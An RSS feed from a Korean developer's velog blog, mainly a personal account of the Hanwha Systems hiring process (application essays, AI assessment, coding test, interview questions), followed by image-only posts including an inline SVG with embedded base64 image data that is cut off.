<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>charming-l.log</title>
        <link>https://velog.io/</link>
        <description>내 빈틈을, 조금씩 천천히!! ٩(•᎑•)✦</description>
        <lastBuildDate>Sat, 28 Dec 2024 04:33:10 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <copyright>Copyright (C) 2019. charming-l.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/charming-l" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[우당탕탕 한화시스템 서류/면접기 ]]></title>
            <link>https://velog.io/@charming-l/%EC%9A%B0%EB%8B%B9%ED%83%95%ED%83%95-%ED%95%9C%ED%99%94%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%84%9C%EB%A5%98%EB%A9%B4%EC%A0%91-%EB%AA%A8%ED%97%98</link>
            <guid>https://velog.io/@charming-l/%EC%9A%B0%EB%8B%B9%ED%83%95%ED%83%95-%ED%95%9C%ED%99%94%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%84%9C%EB%A5%98%EB%A9%B4%EC%A0%91-%EB%AA%A8%ED%97%98</guid>
            <pubDate>Sat, 28 Dec 2024 04:33:10 GMT</pubDate>
            <description><![CDATA[<p>부트캠프를 들으면서 서류를 슬슬 준비를 해볼까 하다가 처음으로 썼던 곳이 바로 한화시스템이었다. 어설프게 써서 냈던 내 첫 서류가 붙었다고 메일이 와서 많이 놀랐다. <del>이게 바로 초심자의 행운?</del>
원래라면 10월 초중에 나왔어야할 결과가 아직까지 11월 초가 되어서야 나와서 떨어졌나 어쨌나 하던 싶던차에 받았던 터라, 당황했지만 좋았다! 내 첫 서합이다!</p>
<p>1지망 서비스 개발, 2지망은 ERP 개발로 지원했고, 
ERP 개발 직무로 붙었다</p>
<h1 id="일정">일정</h1>
<p>실제 진행된 채용 일정은 다음과 같다. 
서합이 되면 코테/AI역량/조직적합도의 결과와 상관없이 면접을 보는 구조였다.</p>
<ul>
<li>~<code>09/27</code> 서류 마감</li>
<li><code>11/6</code> 합격 공지</li>
<li><code>11/8</code> 코테</li>
<li>~<code>11/11</code> AI역량 검사 및 조직 적합도 검사</li>
</ul>
<p>합격 공지 이후 코테와 역량 및 조직 적합도 검사를 호로록 보니까, 
미리 준비해두는 편이 좋았을 것 같다. </p>
<h1 id="서류">서류</h1>
<ul>
<li>직무 지원 이유 및 커리어 계획 (1000자)</li>
<li>차별화된 경험과 강점, 기여할 수 있는 점 (1000자)</li>
<li>책임감을 가지고 신속하게 행동하여 성과를 냈던 경험 (1000자)</li>
<li>급변하는 환경이나 상황에서 변화에 유연하게 대응하고 그 변화를 기회로 삼아 긍정적인 성과를 이루어낸 경험 (1000자)</li>
</ul>
<p>작든 크든, 프로젝트 경험이 꽤 되는 내 입장에서는 각 문항에 프로젝트를 두개씩 예로 들어 작성했다.</p>
<h1 id="ai-역량-검사">AI 역량 검사</h1>
<p>내 인생 두번째 AI 역량 검사였다. 많이 긴장했으나,,
정리하자면 크게 두가지 경험에 대해서 상황-행동-결과의 3단계로 나누어서 말하면 됐다.
솔직히 말을 논리정연하게 잘하는 편이 아니라
그냥 시선 처리라도 제대로 해보자 싶어, 질문에 눈을 고정한 채 아무말 파티를 했다.</p>
<h1 id="코테">코테</h1>
<p>분명 사전 공지해준 문서에는 JS가 없어서 급히 Python를 공부했다. 
사전 환경에서는 JS도 있었던 걸로 보아, 아마 응시는 가능했던 것으로 보이지만
이왕 공부한 김에 Python으로 고고.
본인은 백준 티어 실버 1수준에다가 최근에 부트캠프 프로젝트를 진행하며 코테 준비를 많이 못했음에도
올해는 실버 수준의 단순 구현 문제들로 구성되어있어, 어렵지 않게 올솔할 수 있었다.
(크게 변별력이 있는 문제들은 아니었던 것 같으나 엣지 케이스를 생각을 못해서 감점은 있었을 수도?)</p>
<h1 id="면접">면접</h1>
<p>한화시스템은 관련 유튜브, 블로그 등을 많이 보고 들어갔다. </p>
<p>면접 대기실에서도 여러 사람들과 말을 나눠보니 ERP에 대해 알고 오는 사람들이 많지 않은 편인 것 같으니, 다들 해당 직무에 대해 모른다고 너무 큰 걱정은 안해도 될 것 같다.</p>
<p>인사팀 질문</p>
<ul>
<li>회사를 고르는 기준</li>
<li>같이 일하기 힘든 팀원</li>
</ul>
<p>개발팀 질문</p>
<ul>
<li>들었던 각 동아리 차이점</li>
<li>각 프로젝트에 대해 구체적인 설명</li>
<li>왜 프론트엔드를 희망했는지</li>
</ul>
<p>대충 위와 같은 질문들이 이어졌다. 
개발팀 두분, 인사팀 한분으로 구성되어있었고, 면접보다는 인터뷰와 더 가깝다고 느꼈다.
딱딱한 분위기이기 보다는 소규모 회의실과 같은 곳에 면접관과 내 거리도 가까웠고, 
모두 반응도 잘해주셔서 편한 분위기 속에서 내 이야기를 속시원히 푸는 기회로 느껴졌다. </p>
<p>사실... 워낙에 편한 분위기를 만들어주셔서 그냥 삼촌들이랑 이야기하듯이
다 쏟아붙고 왔다ㅜㅋㅋㅋㅋㅋ
오바 친 것은 아닌가 할 정도로 솔직하게 이야기 해버려서 후회는 없지만,
요즘 MZ에 대한 이미지를 망친 것은 아닌가 걱정이다.
떨어지든 붙든 이 또한 좋은 양분이 되겠지! 별거 없는 내용의 후기 끗~!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[나무 3]]></title>
            <link>https://velog.io/@charming-l/%EB%82%98%EB%AC%B4-3</link>
            <guid>https://velog.io/@charming-l/%EB%82%98%EB%AC%B4-3</guid>
            <pubDate>Thu, 19 Dec 2024 06:04:49 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/charming-l/post/57ad4893-38eb-4bc9-8a5c-aa1785322067/image.svg" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[ㄴㅁ2
]]></title>
            <link>https://velog.io/@charming-l/%E3%84%B4%E3%85%812</link>
            <guid>https://velog.io/@charming-l/%E3%84%B4%E3%85%812</guid>
            <pubDate>Thu, 19 Dec 2024 06:03:55 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/charming-l/post/a1af261d-b668-4341-ab99-4e29eaef1c55/image.svg" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[ㄴ무]]></title>
            <link>https://velog.io/@charming-l/%E3%84%B4%EB%AC%B4</link>
            <guid>https://velog.io/@charming-l/%E3%84%B4%EB%AC%B4</guid>
            <pubDate>Thu, 19 Dec 2024 06:02:31 GMT</pubDate>
            <description><![CDATA[<svg width="237" height="369" viewBox="0 0 237 369" fill="none" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<rect width="237" height="369" fill="url(#pattern0_905_2154)"/>
<defs>
<pattern id="pattern0_905_2154" patternContentUnits="objectBoundingBox" width="1" height="1">
<use xlink:href="#image0_905_2154" transform="matrix(0.00421941 0 0 0.00271003 -0.561182 -0.181572)"/>
</pattern>
<image id="image0_905_2154" width="500" height="500" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAAH0CAYAAADL1t+KAAAAAXNSR0IArs4c6QAAIABJREFUeF7snQeYXUXZx/8zp9yyLQmh21CDKGhEAyKoGEW6dCIdUQgiEAhFeu8B6ZFeQjBAQKqEThCkSaR+ETFAAAFDenb3tlNmvuedc87uJiSb7N6t577nefJk9+5p83vnnv+ZmbcI8MYEmAATYAJMgAkMegJi0LeAG8AEmAATYAJMgAmABZ07ARNgAkyACTCBFBBgQU+BEbkJTIAJMAEmwARY0LkPMAEmwASYABNIAQEW9BQYkZvABJgAE2ACTIAFnfsAE2ACTIAJMIEUEGBBT4ERuQlMgAkwASbABFjQuQ8wASbABJgAE0gBARb0FBiRm8AEmAATYAJMgAWd+wATYAJMgAkwgRQQYEFPgRG5CUyACTABJsAEWNC5DzABJsAEmAATSAEBFvQUGJGbwASYABNgAkyABZ37ABNgAkyACTCBFBBgQU+BEbkJTIAJMAEmwARY0LkPMAEmwASYABNIAQEW9BQYkZvABJgAE2ACTIAFnfsAE2ACTIAJMIEUEGBBT4ERuQlMgAkwASbABFjQuQ8wASbABJgAE0gBARb0FBiRm8AEmAATYAJMgAWd+wATYAJMgAkwgRQQYEFPgRG5CUyACTABJsAEWNC5DzABJsAEmAATSAEBFvQUGJGbwASYABNgAkyABZ37ABNgAkyACTCBFBBgQU+BEbkJTIAJMAEmwARY0LkPMAEmwASYABNIAQEW9BQYkZvABJgAE2ACTIAFnfsAE2ACTIAJMIEUEGBBT4ERuQlMgAkwASbABFjQuQ8wASbABJgAE0gBARb0FBiRm8AEmAATYAJMgAWd+wATYAJMgAkwgRQQYEFPgRG5CUyACTABJsAEWNC5DzABJsAEmAATSAEBFvQUGJGbwASYABNgAkyABZ37ABNgAkyACTCBFBBgQU+BEbkJTIAJMAEmwARY0LkPMAEmwASYABNIAQEW9BQYkZvABJgAE2ACTIAFnfsAE2ACTIAJMIEUEGBBT4ERuQlMgAkwASbABFjQuQ8wASbABJgAE0gBARb0FBiRm8AEmAATYAJMgAWd+wATYAJMgAkwgRQQYEFPgRG5CUyACTABJsAEWNC5DzABJsAEmAATSAEBFvQUGJGbwASYABNgAkyABZ37ABNgAkyACTCBFBBgQU+BEbkJTIAJMAEmwARY0LkPMAEmwASYABNIAQEW9BQYkZvABJgAE2ACTIAFnfsAE2ACTIAJMIEUEGBBT4ERuQlMgAkwASbABFjQuQ8wASbABJgAE0gBARb0FBiRm8AEmAATYAJMgAWd+wATYAJMgAkwgRQQYEFPgRG5CUyACTABJsAEWNC5DzABJsAEmAATSAEBFvQUGJGbwASYABNgAkyABZ37ABNgAkyACTCBFBBgQU+BEbkJTIAJMAEmwARY0LkPMAEmwASYABNIAQEW9BQYkZvABJgAE2ACTIAFnfsAE0g5gRdemJpz3ZwYNeqXxZQ3lZvHBGqaAAt6TZufG592AjP1THfalDtObl60SJ19+NXnCiFU2tvM7WMCtUqABb1WLc/trgkCl/3ltC3+O//du+b9b/6nvzvg6D23+OoOH9ZEw7mRTKAGCbCg16DRucm1Q2D89Xvd3+zN27nUXA5zetjxN53y0GW103puKROoLQIs6LVlb25tDRF48u1Jq937zD1vi7ry6u/Neh+r59d5f9efHbzpbj84cEENYeCmMoGaIcCCXjOm5obWEoGX3n9yzSkP3XBDMTN/R6tOiflz50AVLV3vrfHwkb859pBN19thTi3x4LYygVogwIJeC1bmNtYcgYvu+sNJnyyedUZBLMzACTB/wVzIwEEmaPK+te73Djz9oIl31hwUbjATSDkBFvSUG5ibV3sEHnj1pnUef+mvr1Rk8zqZvEDJa8XCJQuAUAB+BsPdL03bd9RxO48ePTqoPTrcYiaQXgIs6Om1LbesBgloreWVj59+zNv/nXGebxVd17JRKLSgtdSKMAzhIAPHy7dsvsEvfnfEbmffIYTQNYiJm8wEUkmABT2VZuVG1SqBqS/fsN7L/37i3oXB/74r7ABWaCMMNVpaWlAul2HbNoRnoy4cPmPbH+26x74/P4LD2Gq1s3C7U0eABT11JuUG1SqBabOmNU579Maryu6ifcNM0dJSA54NV+awYMECBL4PywIkbHhLVLDO0K/fcuRx5x6xodjQq1Vm3G4mkCYCLOhpsia3pWYJaK3FhXeecOhHS/7vMlFXzoZ2CRXfB4IMLOSwaO5CWEJCCg+QEloLuH7jvG03+dVO+/3i9y/VLDhuOBNIEQEW9BQZk5tSuwRe+O+jw+55dPKUopy7dUkvEiHKkLYL22oAfAeL5iyGIyTCoIRAVyDyNsKS46+NDSaM3e74s0aNGuXXLj1uORNIBwEW9HTYkVtR4wQumnrSHrMXzrzNEwtymUaBSqUAy3Hh+Q5E4KJlQQtkCEihQGKPnEBQFsgWh3/21eEb/Pb8cdc8XOMIuflMYNATYEEf9CbkBtQ6gTtevWqdl2Y885AnWr4nMj7KfjPIeV3YDlRgwZJZzJuzABIWBBS0JmWnGi0CjnIgS3X/2G/H3+68w6YHcbKZWu9M3P5BTYAFfVCbj2++1gnM1rOzD0z/0/nvvPvW731dysDyYDsk2yG01giVDcvKYN7/5kMICxSkphFCQoN+CcMKmtw1y6vbI06/+KhbLhVChLXOlNvPBAYrARb0wWo5vm8mAODSe4/f8tX3X3myvtGx3ZxEsdIMx5XwQw8KEtAOLOli3px5yxV0LRTsIAe71PSfww888cdbfH2buQyWCTCBwUmABX1w2o3vmgkYAlc8furl//nkjaM0PASqjIrXgmw+CyUAISQCH50KOoSA9gTq5bDwK8O/uefZY6+9j9EyASYwOAmwoA9Ou/Fd1zgBClO76clLtn/jvRduLIrmtZQuw3IEHFcgpAn3MESoBCRohG63j9DjNXQZf/OlZSPwQtg0kvdzn47+/i8PGrvjiU9wBrka72Dc/EFJgAV9UJqNb7rWCcxa8FLjTfdf8+SCypxNMo0SflBGoD0IqeH7HoRlwbZcqEB0GKGLNqc4EnTK+SptG14lgNQK9e5Q3fI//7nr/nDj9mutNbJQ64y5/UxgsBFgQR9sFuP7rXkClK/9j/eeMP7dz2ZeInIBPJSNc1uIAK7rwHEceJ5vpttt4cKynHiE/nlBV1oCFjm8h8jIDHRzBpuuv8XWx+3zxydqHjQDYAKDjAAL+iAzGN8uE3jxg79+86b7rrnbaQw3VFYFhXILGoc2oFKpoFIpI5fLI/AVpLShaYTeJug6HqFrJCN0DQuBDuBkLfiVAJkgjyHW6veO/+UJB2644ehWps0EmMDgIcCCPnhsxXfKBAyB6548b+yrs/9+lW8VXIoy0yamPCmaFn+laeRNXu6hhGVZy4zQE0EX0JC0C6QjEHge7MBBnW5c8oOv/+iwcb+68A5GzgSYwOAhwII+eGzFd8oEMPXZa7/1/L+fergF87/i1Gn4QaWDmBMgWhyPxZx+VbSGnjjFJVPuJOMC2qyjSwRaQbgSyg9gQ0CUbAy31373x9/dZqcDdhz/NmNnAkxgcBBgQR8cduK7ZAKY8en04ddNuuRWdzW9Q9kpIBAVWG3f4I4jc8oZQ6IOU4QlGqHPhRDCfE4JZ+hn83fACLq0HITKR86xYYc2UHSxVv1Xpow75rzfrifWKzN+JsAEBj4BFvSBbyO+QyZgCJx1yyH7L6h8dq3KVfJLvEVwcjYQRilcI3WORNyM09sEXcdr6J+ZuHQj6Eq0CbplCwRhCFg2PJpylyEcy4Es28jqYe/tOPpXvxrz40P+ySZgAkxg4BNgQR/4NuI7ZAKGwFHX7PoP32rZpCKKkDmJUGtAKQiVCHm7oEuQ0NMIXcOSDj77jDLFdRR0cm2nv4cmFSyFuIU6gNJBJPaBhB3Wq0w49LY/nzXtIDYBE2ACA58AC/rAtxHfYY0ToCQyN//tvF3eeu/lu4p6kSNdjYJXQcbNQZsReruQJ6iWEnTLwmcm9asdj9AtkwY2UnTfiDqJuLQtJB+HWsDWGagWWR71jc3HnLD3xX/lZDM13hG5+QOeAAv6gDcR32CtE7jpkcu/8cYHz0327PmjtFMWPgLk8k1YuKAZ+WzOCLpMnNzjkTlENEKHCs2UuxmhwwKFqWlNVddI3AHbxKAHCP2KGfGTqPtaQYGyzFnIIKvrg6YXD9zhN/uO3njvD2rdFtx+JjCQCbCgD2Tr8L3VPAGtp1rHXvvoY2V7zujAaZYBKmY0HXgCuVwdfN83jKRZM49FnD6IBZ2m3G1pLSPo5O3umJV33y8hl6WMcp6Znpe2a5zkQqnMdaxQAAVLfX31jS6YcOTkU2veIAyACQxgAizoA9g4fGtM4OaXLvnWm+8+/+L84qeNbs6G8hUsYSNrO/DKFaq8AmXEexlBj9GRSDtmDZ2c4qh8qjCe7zRaNzPusfDTCD8a5Ufn0xTfLuLkNL5EPhzy2tdPGT3qTHFmh7cGtg8TYAIDiQAL+kCyBt8LE+hAYObc6fWTH7v+6jnFD/cPM6HM5DLwSwqWkshK8kovQ5ja5yve2sPWaA2dwtZI0Cn63Iri0GNBF4oi0BNRV1AyNMJORV6y2Tqg7PiZcMgfjzv42HNHrrUN53nnnsoEBiABFvQBaBS+JSZABG558qJfvPT2E3d7mUKTyEkjwEHFrH4jYwFaBVAicX9bPrNuC7qIRF1KCYpqUxUbmaBh0aYb/HSP4/c592m2EBNgAgOPAAv6wLMJ3xETwOv/fWrdu5646f7mcN4olfWMo5oXUlU0G7YUsHQATaVQTXb2z3u5JwhXJui07k4vCtKEvkXOddGUO/3T5mcKi8vZDQhbJdaqW++FQw84eJsN1+A879xNmcBAI8CCPtAswvdT8wRm6BnOI3fcdNb81g+P92SLHdoh/DBK1ZpxXBNmpsKS4aSFvVRCmWXhdV3QkzX0aB2dCrdk7AwQ2pAehbHZrduN3uXXv9322L/UvKEYABMYYARY0AeYQfh2mMBfXr3xy9NfvPdRTy7ZQLiAkgpaWWZ63bIEQlWBRgDbtqHIC71DhriuCHoyOqdjosxyNEKPpvC1DMwoXdgSXqmMfLYelZYQOdGom+TQu8f/7g8Hb7D6j1rYWkyACQwcAizoA8cWfCdMAFpPt8+5++7jCvrTc+Y3f2pTbXMtKF2rBaUUlC4b/aa1bcrRHgadQ+tshL48QU9eDqIpd4VKWMbQoUOxcN4C1LlNyCKPsCwLG43Y8LST9/nN1UKMiuLmeGMCTKDfCbCg97sJ+AaYQDuByx85a5t3PpoxpSLmD5MZQAeUqd2BRaKOEAqe8WwHXBODTp93tnVH0Nu935VZQ1c6hGs5UIGGrTLQnkBW5BZs95Nd99p39Pgn2X5MgAkMDAIs6APDDnwXTAAvf/zkanc+duOkJf6c7eF6lKkVCFwzDS4QAsKDNuFklIM9Rwvo0eedBK6tTNDbsUdT7hTQRlsUzhYJuqnORiVWNWWPc+BoF7ZwlBs0XHf6qdcew9XYuPMygYFBgAV9YNiB74IJ4NIHTjlw1mev3qzcoiyrkimYgjAWdFEBhA8tAijY0DprBFiAZrxXHIneuaAT9OTY5Qu6lhS3HhpBp7kCWmunGHYbLhw/N3enLfcePeYnv/sXm48JMIH+J8CC3v824DtgApg+e3r24Sevf2hh8PFWVp60WsD3KfN6xoSSic8Jet44wwlBgr7ihfRVFXRap4+G5skIPRJ7U3ktHqXTJ5T/3bxIaAknyOFLw7514yGHnXjECDGiwmZkAkygfwmwoPcvf746E6ApbXn+XeP2W1z59PLF3pyhSgZwcnmUSj4s6RoRlSToZtqdCqdYgMqZMLZoyr3vBV3R9HuYgVvOLxi5/vePPHG/S+4SIqkIw0ZlAkygPwiwoPcHdb4mE+hA4KbpF416452/P+bL1qG0du4rChlzjXd7NCpWpiIaQMPjOExNO9EZRDVr6O03QS8HZoAef5Q8GMz6OY3S4y36O8Wq06UtSM/Vomx99vtDxm/286/u/iEblgkwgf4jwILef+z5ykwAU/VU68Wb773FUwv2D9AKLTUs24Yf0Ow3JZMhMY/Wuc10dxwv3o6u81opK59yj4V8BYIOFUu8jHYgpznjlBfHrmdkBnaYwQbrbnjI6ftPvJFNygSYQP8RYEHvP/Z8ZSaAm5+/+Gevvfv3P1fKC9bK1lsoFIpwXBcQjkn1CotG5nE1Napjrsn1ncbI0eedpX01AqyFiVefN+fzxVk64m8boXd8eaAdSL1JvAXVUifv9zjxTPzkUEEI6VsYlln99R9986d7HrzzSe+yWZkAE+gfAizo/cOdr8oEaO3cPuamX/2pWX12sGUHgqbPVUhT3CSeEsIWUJo820nQqRoLOaMlgu6Z8bKi6fBuZ4prN8KKBD3KIBe9QigdjdZNohsRpaJ1HAvl5jKGOEMD1WpdM+W8p8cLYdYBeGMCTKCPCbCg9zFwvhwTiEbOWl7ywDE7vD/37fsDuyCjafWkrnmHQLTEz6yDsEYE46n4TsQ8uk7nI/REyLtkFR1VfqPBexCGyGfroEsVSM+pfGXoN3eYcNSkp7p0Pt6ZCTCBHiHAgt4jGPkkTKBrBB7/9x2j/vrMHZPLTusGoey9iK9eEfS4qWYK3qLiMCEsDdieDctvfPrXex+9/9Yb7Pxp14jw3kyACVRLgAW9WoJ8PBPoBoFjr97nvIq95GTPKSCUvZcOvbcFnZYFyuUyZGih3mmA9HKLfrjx6H2P3OmMR7qBhQ9hAkygCgIs6FXA40OZQHcITJ1547BXnn/8jSX+wi8g6yOUK6mw0p2LJKPo3phyT84tFEpeGblcDo7OwFIOwhK0o/OPb7XljnsdNHr84ipunQ9lAkygiwRY0LsIjHdnAtUQmKlnundPufSCeYs/HW/XC1EMC1Amxrx3tt4codM6PpVKD3wFryIQegJDG4ZAl7Vet2ndCQcdecbpG4oNyXuPNybABPqAAAt6H0DmSzCBhMAFUw7ddrG/4KbF5YXraJtKlFKxlc5jyauh19uCrjSt/0tkMkNRKfsQUMgKF3bofLT79nvvvcvGh79Qzf3zsUyACaw6ARb0VWfFezKBqgi8NOv2xqnP3Pn8ksr8jXJNjWgptMDOUBja4BV0xxbwvACQOYQU1qYCZGwHquhjSGb122866en9q4LGBzMBJrDKBFjQVxkV78gEqiNw6zNn7f3KO0/fqjKB64cCsKSpZNabW++O0CmNvA/bdeGFgOU6CAIPKvCwWn4Y/CVq0fZb7bfxvlscwSlhe9PIfG4mEBNgQeeuwAT6gMDMJY8Ou3byn26RDa2/rKAoCuUQ2XwdVNB7Hu7UrN4WdEvFqWCFAr2j0GyDKcSqbLiBE35p2Ddu/f0+fzj+y0O+s6gPMPMlmEBNE2BBr2nzc+P7goDWWpx/x9EXL/b/O25e4SPHyUvAdkEz1Xacfa237qNXBd1krovLrUoqKEOpaGmTsJWEFdpwfNdfs+nLl1w6/o6Te6uNfF4mwAQiAizo3BOYQC8TmPzclSNf+OdTj9sN3hrN3jy49TZCRe5jElbvLZ+bVvW+oEepaLUsQ5vqMVEqWhJ6S9kQgYYuuR/uud3em4z5ybh5vYyaT88EapoAC3pNm58b39sE3ls4o+maOy+/QWVLezT784VwAwhXolAoIEcpU8PeVfTeFnQgEnSIcnt5V5p0j0VdKIG83eh948vfPfXkX116Ked57+0ex+evZQIs6LVsfW57rxOY9Ox535kx8x/PeLIwVOaASlAGpDYlUdvLofbebfSNoEf12qluO03Ax6vopjqbZTkIKoAdZN/a/Ac/32n8dmd+0Hut5TMzgdomwIJe2/bn1vcigZlzp9dPmXbDlc3hgoMKQSusrI3A1BdXcGzA8yqwTC70pKJZz99Mrwq6GZNHYXfSiHn8kgIgNBXZ4r9T+wILw3LDbxi377jxI9faptDzLeUzMgEmwILOfYAJ9AIBrafbl/1l2uEfL5p5QQGLcjJro+j5cOw8lA6hVRm2ECstf1rtrfWmoJtXExFNONA/KtAiEYXhkcd7KARCSaFsCnW5eoiCbl3NWePIicffN0kIMz/BGxNgAj1IgAW9B2HyqZhAQuC59x5e//b7rn5aNhbXDa0yKjpELt8Ar6KjdXNZQdZx4IXhoB2hR4JOo3Np/hkHP5PGViOU9LfI8U9aDvxSGXV2Peyy+9j5R5+/95eH/JjD2PjrwgR6mAALeg8D5dMxASJw3t3jTvp0ybvn+3IJtPShYEGDvL9jJzIEZh29N6fb6T56c4Ruzm98Adqd4JLPqG30N3p5sSwLKhDIiBycMN86cv1NdjtuzIQnuKcwASbQswRY0HuWJ5+NCeAvb9781ekvPfRoCQtHSMeDkiE0rDbP7wgROZINfkFvS1trXlSidfP29gXGSc62LIQVBVvkAM+BUNnXd9x61104gxx/WZhAzxJgQe9Znny2Gicwe/b07OSXHzhrTst745VdcEKUoISGFu3x2ekRdJpjT5bCoxcWLRIHv8jzXYchHNsGQg2pM3CRR7mgvHXW+cqEsYedfA5XY6vxLww3v0cJsKD3KE4+Wa0TuPrBsw+e9embE32r4HqyAC1DMxJPRq5CdfBoH/Qj9FjQTTusaIRuxuTtMxC2lAhCz0zLi1BC+A6kyEIFsnWjEaO2O/OAK/5e632G288EeooAC3pPkeTz1DyBGZ8+NPzO+2//a8Vq+UEJBQhHGacxLdvDuQykXgxTW9YIvbuGriBir3azpLAcQaeJiTDwyHsAOTcP39NwrTxsZLFaw7pX/vF3tx3NHu81/9VhAD1EgAW9h0DyaZjA1Q+ePOa9Of93fRlLmgIrhHQt+CF5fSNKItOx7nkfiXr/CXo0Sg+Vh3w+C9/zQIXlVKhBLvBaWaizh7777XW/u89JB13xCvceJsAEqifAgl49Qz4DE8Bbnz255uQHr3u8Ihd/u9lfKCzXRqA1pJWJBT12gktYpUbQo0Q5S4/Q26fdPb+IbDYDCjsnUc9m8rCEhSAALM9RarF47ezx52/7jXVGz+duxASYQHUEWNCr48dHMwFQNbWzbz/s1Lkt75+ts0UEogzhugh8Ejqnwwg9Gq0bRzKz5tz7W++P0COnuMSLv90pLmpbNmtj4aL5qK+vg1IKUNr8TxnyHJVBTufx9bU3Gn/qQddc3vs0+ApMIN0EWNDTbV9uXR8QuOWZib/8v3efu6HF/3RN7RQhMwoVXyOTrYfvRTcQTbmnTdCpXVFxGSPkZtYh+mdkvm2JgfZJZijaE8RJZcHxHbiqfuZv9z5qzy3X3+3tPjAXX4IJpJYAC3pqTcsN6wsCNDo/4cZD7pzb+t6YYWvnsLjwP8BWsJ0MyqUAtpUzAhclOu37affeHaHHLypmhJ6IObUzFvSViLrQAlnpQhUc72trf/vI8w698fq+sBlfgwmklQALeloty+3qEwKTXr56/X+8Nv2NklqYzdYDpXAJBIVkm8oklBLVNQJHuc6NpNOodUVhbL1wx30j6PGauYlDTxoRfdY+Uo9H6W0ir81LTuAFyItGSK/ug/W/svHPz/zNZe/3AgY+JROoCQIs6DVhZm5kbxCYMe/ZtSdNvfpPzlC1ixe2YknLAmTqbAhboVgoo6GhCX6ZipVEuc7bBJ2cyGQ0Vb1UXHov3GTvC/rSleI6TKi3tSYS+aTue/y/mY7XcG0XYRnI6kaEBfue3+497oitvr3zZ72Agk/JBFJPgAU99SbmBvYWgdNu+P2JC/VH51REs00zzjT6ptG5kBpB4Jsc5hSiFYl5Iuh0N0Es6DRKjUbyvbX1raAnok2t6TDt3rFxHdbVqemBUnDgIkt53v1sBcXs2EnnP3Jbb/Hg8zKBNBNgQU+zdbltvUbg8X/fsc69D93+SmaNcJ3F5XmAdOG6WQQqNCFa0lLwfR+umX+P8pwDVC41DvOSfjRCT4WgLzv6Ji9+erTEU/AdX1iWEfRKGCCXyUMVArihiwa52mM3nPboDkKIqA4rb0yACawyARb0VUbFOzKBiAA5wk2YctQZC705py3yP5J2nQXPFya2WkgnKimKEEKGUUlRcopTtsnnbn4VoanAlgZBT/qE8XaPX1aiz5J19UjYk61j8Rbzs+1AUN30Qhl1Ioecrg/WaVhv/3OOuvVO7m9MgAl0jQALetd48d5MAC9/fO/6Ux+5Y3JrsHBT5RYgHQXPtyClCyGtKN5ahGbSWSOMptzjsqkqXk/WMqobPthH6Ksm6O0Cv6ygV0IF13bgUIrYko960aBRzjx36IHjf7PFiF3f4+7GBJjAqhNgQV91VrwnE8CMTx/K3/HobXcVUNixolohraj4SnsMdgKp43pyhxGr+XMHx7BeXD+PZhOEWcufN2eeGQnTC4SmDHYm93o8M95jdl22zcu2+/MXErAQhhFDx7IhqH56kENODr9n25MP3GuMGMNT7z1mHz5R2gmwoKfdwty+HiNAU+23PHvOIc+/9cyV2WHZzJLiErg2xZgvT8h67LJVnahvBb0bt6o0pLQRhCEsW0AFPmyRhe3nl2zzo11+/uufHffPbpyVD2ECNUmABb0mzc6N7g6BWS3Prn7pzedPEXXhVhXpIxAKlqBpcxb07vA0MwShguM48EjIbRtB4Bmvd11xgvXW/talY8eeevoIMaLS3fPzcUyglgiwoNeStbmtVRG44oHj9pr16VuTgkzFregwClEbwGLe91PuXccrwgAWCboXwMm4RtAt4UL4FnKiccmXhn/j1+cees39XT8zH8EEao8AC3rt2Zxb3A0CM96b2nTro7c8ZteHPyjrEijcSlhJStdunLCPDhnoU+42OQ5KwKv4yOSyptys0BIObMCz0ZgZ/vyuu+6z/fYj9mvuI2R8GSYwaAmwoA+MivOQAAAgAElEQVRa0/GN9xWBWfqlxpsnTby0LBYeuLg433bzNrwwgJRJQZK+upOuX2egC7orBbwgMJEBNpWcVco47bkUMRBI2KHjZ8KGi44744pzNhQbxqVuus6Bj2ACtUCABb0WrMxtrIrAlBcu3XL6q9MeE7kgo0WIclBEPp8ziWNEW5Wxqi7RawcPdEGnkbgXepCWhhYKSgvjjU9JeEQogLLGkOwabx419rQdRq42+uNeA8UnZgIpIMCCngIjchN6j8B0Pd2efudtNy7w5h7YUlkE27XgOBbK5Wbk3Ax8Cqrq5dCzalo3oAVdS1jKhq98uFmNSlgChbFJx4UOFHQIWEqi3m5STe4XDt316LG3jhajkxq01WDhY5lAKgmwoKfSrNyoniLwlzev3OrFN/425X+LP1k915RDoDRAAuQqKN+DFi4LendhaxuWijLrQRahpGcS8Cgz6+FECXlUCJcq1pWzH+6x3T6/3vOHhz3T3cvxcUwg7QRY0NNuYW5ftwk8/+69a9z33F33LfE/2xyuhHBtlEoVk9Y1m1UIvQoLerfp0syGDaEygKBiNUVAeNCwoSjpjSk7CxMWaGkL0rPhBg3PjN39qN1+/J0dF1VzWT6WCaSVAAt6Wi3L7aqKACWROe3WQ079tOU/ZyDrW1Yuh1ADoUcJUADH8eH7FQjwCL3boCkdrnaizHmyFOW4j2QcKq4jH4Y+sraDoOAjL5u8L63xjb0uPOyG+7p9TT6QCaSYAAt6io3LTes+gQdev3HjJ1546D6rvvTlkmqFRyu30oKMgs8BXY4ym5HjFq+hdw+04UaV6MgHjhzYowQ9lJiWPqfflA6AUGFI/RCUF5exRsMXnxq7z5k7j1xrZKF7F+WjmEB6CbCgp9e23LJuEtBay4sfPObIj+a9PcEXLa6WIZSWEFZUGaxSqUAhRI5G7f7A9tEa0E5xRrxjPV/mpSgp4mK5FnQQwqtUkLcb4Ia5hcPr1zns0nFT7hGirRZrNy3NhzGBdBFgQU+XPbk1PUDgisfO3fydD168yxNLvqBQge1YEJBQVB2NSn1q+gcTh24qhibFVnrg2j19ioEt6AoUBhiVl80Amjgn9eID8zeahLctB1AKXjFAVmeRkY0ffHXNb+x1zqHXv9zTvPh8TG